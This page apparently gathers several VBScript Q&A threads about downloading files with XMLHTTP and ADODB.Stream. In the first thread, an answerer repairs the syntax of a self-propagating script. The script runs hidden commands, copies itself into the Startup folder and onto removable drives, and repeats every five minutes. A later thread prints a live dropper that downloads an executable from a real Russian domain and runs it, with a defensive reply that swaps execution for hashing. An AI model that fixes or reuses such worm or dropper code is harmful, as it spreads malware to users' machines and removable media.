vbs error end required - windows

i'm learning vbs. and i've found this code in internet. Tried to run it but it won't start. replaced some personal data with adresssss fileeee and commandddd
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
and this code won't run?! it gives error "End expected"

Control statements have to be properly nested. So even if you add the missing conditional,
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
is illegal. If you'd use proper indentation, atrocities like the above would be obvious.
On second reading: Perhaps you meant:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
In general: The "End X" phrases must be on one line.

It seems you don't understand what you are doing. Try to get some basic understanding of VBScript. Do not use On error resume next because that will hide errors from you. Try to understand conditional statements, reuse objects like the Wscript.Shell, AdoDB stream and XHTTP object, set objects to Nothing the correct way, assign variables correctly, use function calls properly. Use Option Explicit.
This is how your script should look like (without testing it, just syntactical):
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
Note on the last comment:
You are calling the Start() function from inside the Start() function, creating a non exitable recursive loop. After a few hundreds of thousands iterations you will get a Stack overflow error. Luckily you wait 300 seconds for each iteration so it will take several years to get to that.
Better to put the first call of the Start function (outside the function itself) in a do / loop construct:
Do
Call Start()
WScript.Sleep 300000
Loop

Related

How to solve file download path error in VBScript ?

I am running the following VBScript program, download.vbs
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://websitelink/textfile.txt", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "c:\dump.txt", 2 '//overwrite
end with
in this program, it will download the textfile from given web url and save it to local disk in the given path.
but the problem is, its working well when i change the download path to local disk d:
and showing the following error when i use local disk c: as download path.
VBScript error message,
Script: C:\test\download.vbs
Line: 10
Char: 5
Error: Write to file failed.
Code: 800A0BBC
Source: ADODB.Stream
Please help. i will be very thankfull.
If the file doesn't exist - you want to use 1 on the safetofile. You can add some code
Const AdTypeBinary = 1, AdTypeText = 2
Const FsoRead = 1, FsoWrite = 2, FsoAppend = 8
Const BstrmCreate = 1, BstrmOvrWrt = 2
dim FSO: Set FSO = CreateObject("Scripting.FileSystemObject")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://websitelink/textfile.txt", False
xHttp.Send
mysavefile = "D:\dump.txt" 'Set your save-file here
with bStrm
.type = AdTypeBinary ' YOU MAY WANT TO CHANGE FILE TYPE FOR TEXT/BINARY
.open
.write xHttp.responseBody
if ( FSO.FileExists( mysavefile ) ) then
.savetofile mysavefile, BstrmCreate
else
.savetofile mysavefile, BstrmOvrWrt
end if
end with

error 800A1C2 on my code

I have a code that is supposed to download an image from the Internet and set it as wallpaper, but it keeps saying that there is a wrong number of arguments or invalid property assignment: SaveToFile.
strUser = CreateObject("WScript.Network").UserName
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("ADODB.Stream")
xHttp.Open "GET", "https://image.spreadshirtmedia.com/image-server/v1/compositions/1009468864/views/1,width=300,height=300,version=145225706 1/anonymous-seal-t-shirts-men-s-tall-t-shirt.jpg", False
xHttp.Send
With bStrm
.Type = 1 '//binary
.Open
.Write xHttp.responseBody
.Savetofile "C:\Users\",strUser,"\downloads", 2 '//overwrite
End With
Dim wshShell
Set wshShell = WScript.CreateObject("WScript.Shell")
sUserName = wshShell.ExpandEnvironmentStrings("strUser")
Set oShell = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sWinDir = oFSO.GetSpecialFolder(0)
sWallPaper = "C:\Users\eskonr\Pictures\Nice-Windows-7.jpg"
' update in registry
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
' let the system know about the change
oShell.Run "C:\WINDOWS\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
MsgBox "done"
.SaveToFile "C:\Users\",strUser,"\downloads", 2 '//overwrite
You're trying to call .SaveToFile with 4 parameters: "C:\Users\", strUser, "\downloads", and 2, when you apparently want to build a path from the first three elements. Use the concatenation operator for that:
.SaveToFile "C:\Users\" & strUser & "\downloads", 2 '//overwrite

Possible Extortion of Data

someone sent me an email with a vbs script, but I don't know what it is as I don't know vbs.
I am guessing this is a swindle to extort some data from me, but I can't really tell what data. Can someone please exlpain what would that scrtipt do?
Sub HTTPUpload( myURL, myPath )
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Const TemporaryFolder = 2
Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder)
tname = objFSO.GetTempName + ".exe"
myPath = tfolder + "/" + tname
Set objFile = tfolder.CreateTextFile(tname)
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
objShell.Run(myPath)
Set objShell = Nothing
End Sub
HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", ""
As the other guy stated, it could very well be a virus. It's downloading binary data, writing it as an EXE and firing itself off.. You could modify it with this code below. ... You could also just delete the email and forget that dude. I know not "Everyone" is as crazy as some of us when it comes to finding viruses in the wild.. we hoard these things and study them.
I've amended some changes that would provide you with a MD5 Hash and SHA256 Hash that's searchable on VirusTotal and delete the file immediately after. You just need to re-append that line for httpUpload... and it will download... but if you see below I removed the line that was attempting to use the .Run method.
HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", ""
The link you provided is cut off, but if you still have the vbs file, then just remove that whole section of Sub HttpUpload thru End Sub which was right before it... Replace the entire content of the vbs file except for that line mentioned above.
Sub HTTPUpload( myURL, myPath )
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Const TemporaryFolder = 2
Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder)
tname = objFSO.GetTempName + ".exe"
myPath = tfolder + "/" + tname
Set objFile = tfolder.CreateTextFile(tname)
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
wscript.echo " MD5Hash: " & MD5Hash(sPath) & VbCrLf & " SHA256Hash: " & Sha256Hash(sPath)
Set objShell = Nothing
End Sub
Function MD5Hash(sPath)
MD5Hash = bytesToHex(MD5HashBytes(GetBytes(sPath)))
End Function
Function Sha256Hash(sPath)
Sha256Hash = bytesToHex(Sha256HashBytes(GetBytes(sPath)))
End Function
Function MD5HashBytes(aBytes)
Set objmd5 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
objmd5.Initialize()
MD5HashBytes = objmd5.ComputeHash_2( (aBytes) )
End Function
Function Sha256HashBytes(aBytes)
'Set objsha256 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
Set objsha256 = CreateObject("System.Security.Cryptography.SHA256Managed")
objsha256.Initialize()
Sha256HashBytes = objsha256.ComputeHash_2( (aBytes) )
End Function
Function StringtoUTFBytes(aString)
Set UTF8 = CreateObject("System.Text.UTF8Encoding")
StringtoUTFBytes = UTF8.GetBytes_4(aString)
End Function
Function BytesToHex(aBytes)
For x = 1 to LenB(aBytes)
hexStr=Hex(Ascb(MidB((aBytes), x, 1)))
if len(hexStr) = 1 Then hexStr ="0" & hexStr
bytesToHex=BytesToHex & hexStr
Next
End Function
Function BytesToBase64(varBytes)
With CreateObject("MSXML2.DomDocument").CreateElement("b64")
.dataType = "bin.base64"
.nodeTypedValue = varBytes
BytesToBase64 = .Text
End With
End Function
Function GetBytes(sPath)
With CreateObject("ADODB.Stream")
.Type = 1
.open
.LoadFromFile sPath
.Position = 0
GetBytes = .Read
.Close
End With
End Function

VBS Downloader/updater not working

Credit to #Hackoo for the code below. I don't really know what's wrong with it, but it doesn't seem to wanna download the file (http://mollernielsen.eu/AutomaticShutdown/test.bat), which doesn't really make sense to me.
path = "http://mollernielsen.eu/AutomaticShutdown/test.bat"
pos = InStrRev(path, "/") +1
Const DownloadDest = "http://mollernielsen.eu/AutomaticShutdown/test.bat"
LocalFile = Mid(path, pos)
Const webUser = "admin"
Const webPass = "admin"
Const DownloadType = "binary"
dim strURL
function getit()
dim xmlhttp
set xmlhttp=createobject("MSXML2.XMLHTTP.3.0")
'xmlhttp.SetOption 2, 13056 'If https -) Ignorer toutes les erreurs SSL
strURL = DownloadDest
'Pour l'authentification de base, utilisez la liste ci-dessous, ainsi que les variables + d'utilisateurs? laisser passer
'xmlhttp.Open "GET", strURL, false, WebUser, WebPass
xmlhttp.Open "GET", strURL, false
xmlhttp.Send
If xmlhttp.Status = 200 Then
Dim objStream
set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 'adTypeBinary
objStream.Open
objStream.Write xmlhttp.responseBody
objStream.Close
set objStream = Nothing
End If
set xmlhttp=Nothing
End function
getit()
I have no clue what is wrong with the code, it seems to start, but no file is saved and there are no errors.
Try like this :
Option Explicit
Dim URL
URL = "http://mollernielsen.eu/AutomaticShutdown/test.bat"
Call DownloadingFile(URL)
'*************************************************************************************************
Sub DownloadingFile(URL)
On Error Resume Next
Dim objFSO,Ws,objXMLHTTP,PathScript,Tab,strHDLocation,objADOStream,File,ProtocoleHTTP
Set objFSO = Createobject("Scripting.FileSystemObject")
Set Ws = CreateObject("wscript.Shell")
PathScript = objFSO.GetParentFolderName(wscript.ScriptFullName) 'Path of this Vbscript
ProtocoleHTTP = "http://"
If URL = "" Then WScript.Quit
If Left(URL,7) <> ProtocoleHTTP Then
URL = ProtocoleHTTP & URL
End if
Tab = split(url,"/")
File = Tab(UBound(Tab))
File = Replace(File,"%20"," ")
File = Replace(File,"%28","(")
File = Replace(File,"%29",")")
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.3.0")
strHDLocation = PathScript & "\" & File
objXMLHTTP.open "GET",URL,false
objXMLHTTP.send()
If Err.number <> 0 or objXMLHTTP.Status <> 200 Then
MsgBox err.description & objXMLHTTP.Status,16,err.description & objXMLHTTP.Status
Exit Sub
Else
If objXMLHTTP.Status = 200 Then
strHDLocation = PathScript & "\" & File
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
objADOStream.SaveToFile strHDLocation,2
objADOStream.Close
Set objADOStream = Nothing
End If
End if
Set objXMLHTTP = Nothing
ws.Popup "The Download of " & Dblquote(File) & " is finished ! ","5","The Download of " & Dblquote(File) & " is finished !" ,64
End Sub
'**********************************************************************************************
Function DblQuote(Str)
DblQuote = Chr(34) & Str & Chr(34)
End Function
'**********************************************************************************************
There's no actual SaveToFile method called in the script, but there should be. The stream is being saved to an object in memory, but never written to disk. Stick this above objStream.Close:
objStream.SaveToFile "test.bat", 2

Download Empty File with VBScript

When I'm trying to download an empty file with this script, I get the error:
Arguments are of the wrong type, are out of acceptable range or are in conflict with one another. How can I fix it?
Here is my script
Set objHTTP = CreateObject("WinHTTP.WinHttpRequest.5.1")
objHTTP.Open "GET", "http://localhost/file.txt", False
objHTTP.Send
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objHTTP.ResponseBody
.SaveToFile "C:\file.txt"
.Close
End With
Set objStream = Nothing
I have this problem only with empty files.
For an empty file, .ResponseBody is a variant of sub-type Empty. Such a beast can't be written. As you can't create an empty Byte() in VBScript, you have to skip the .Write for an empty file. In code:
Const adSaveCreateNotExist = 1 ' Default. Creates a new file if the file does not already exist
Const adSaveCreateOverWrite = 2 ' Overwrites the file with the data from the currently open Stream
' object, if the file already exists
Set objHTTP = CreateObject("WinHTTP.WinHttpRequest.5.1")
objHTTP.Open "GET", "http://gent/empty.html", False
objHttp.Send
WScript.Echo objHttp.Status, objHttp.StatusText
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
WScript.Echo TypeName(objHTTP.ResponseBody)
If Not IsEmpty(objHTTP.ResponseBody) Then .Write objHTTP.ResponseBody
.SaveToFile "file.txt", adSaveCreateOverWrite
.Close
End With
Set objStream = Nothing
output:
cscript 24512602.vbs
200 OK
Empty
...
dir
...
01.07.2014 16:54 771 24512602.vbs
01.07.2014 16:54 0 file.txt

Resources